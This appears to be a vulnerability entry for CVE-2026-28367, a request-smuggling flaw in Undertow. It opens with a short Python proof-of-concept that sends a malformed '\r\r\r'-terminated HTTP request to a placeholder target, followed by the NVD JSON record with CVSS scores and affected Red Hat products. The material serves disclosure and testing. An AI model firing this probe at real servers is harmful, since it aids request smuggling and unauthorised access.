CVE-2026-28367

import socket # Target configuration host = "target.example.com" port = 80 # Construct malicious request with \r\r\r terminator # This attempts to exploit the header parsing flaw in Undertow payload = ( "POST / HTTP/1.1\r\n" "Host: " + host + "\r\n" "Content-Length: 10\r\n" "\r\r\r" # Sending \r\r\r instead of \r\n\r\n "GARBAGEDATA" ) print("[*] Sending malicious payload to " + host) # Create socket connection s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((host, port)) s.send(payload.encode()) # Receive response response = s.recv(4096) print("[+] Response received:") print(response.decode()) s.close()

{"cve": {"id": "CVE-2026-28367", "sourceIdentifier": "[email protected]", "published": "2026-03-27T17:16:27.750", "lastModified": "2026-04-10T14:22:53.400", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A flaw was found in Undertow. A remote attacker can exploit this vulnerability by sending `\\r\\r\\r` as a header block terminator. This can be used for request smuggling with certain proxy servers, such as older versions of Apache Traffic Server and Google Cloud Classic Application Load Balancer, potentially leading to unauthorized access or manipulation of web requests."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:N", "baseScore": 8.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.2, "impactScore": 5.8}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N", "baseScore": 9.1, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-444"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:redhat:build_of_apache_camel_-_hawtio:4.0:*:*:*:*:*:*:*", "matchCriteriaId": "19B253BB-F6CE-400B-87EF-1DF1AFFC2445"}, {"vulnerable": true, "criteria": "cpe:2.3:a:redhat:build_of_apache_camel_for_spring_boot:4.0:*:*:*:*:*:*:*", "matchCriteriaId": "06A6AC25-2E2D-4359-A806-CC0355513A20"}, {"vulnerable": true, "criteria": "cpe:2.3:a:redhat:data_grid:8.0:*:*:*:*:*:*:*", "matchCriteriaId": "7095200A-4DAC-4433-99E8-86CA88E1E4D4"}, {"vulnerable": true, "criteria": "cpe:2.3:a:redhat:fuse:7.0.0:*:*:*:*:*:*:*", "matchCriteriaId": "AAD91726-93D9-4230-BF69-6A79B58E09E0"}, {"vulnerable": true, "criteria": "cpe:2.3:a:redhat:jboss_enterprise_application_platform:7.0.0:*:*:*:*:*:*:*", "matchCriteriaId": "72A54BDA-311C-413B-8E4D-388AD65A170A"}, {"vulnerable": true, "criteria": "cpe:2.3:a:redhat:jboss_enterprise_application_platform:8.0.0:*:*:*:*:*:*:*", "matchCriteriaId": "0D8BC03A-4198-4488-946B-3F6B43962942"}, {"vulnerable": true, "criteria": "cpe:2.3:a:redhat:jboss_enterprise_application_platform_expansion_pack:-:*:*:*:*:*:*:*", "matchCriteriaId": "0A24CBFB-4900-47A5-88D2-A44C929603DC"}, {"vulnerable": true, "criteria": "cpe:2.3:a:redhat:process_automation:7.0:*:*:*:*:*:*:*", "matchCriteriaId": "20A6B40D-F991-4712-8E30-5FE008505CB7"}, {"vulnerable": true, "criteria": "cpe:2.3:a:redhat:single_sign-on:7.0:*:*:*:*:*:*:*", "matchCriteriaId": "9EFEC7CA-8DDA-48A6-A7B6-1F1D14792890"}, {"vulnerable": true, "criteria": "cpe:2.3:a:redhat:undertow:-:*:*:*:*:*:*:*", "matchCriteriaId": "8190B427-8350-43AE-8F54-6A40B701C95E"}]}]}], "references": [{"url": "https://access.redhat.com/security/cve/CVE-2026-28367", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2443260", "source": "[email protected]", "tags": ["Issue Tracking", "Vendor Advisory"]}]}}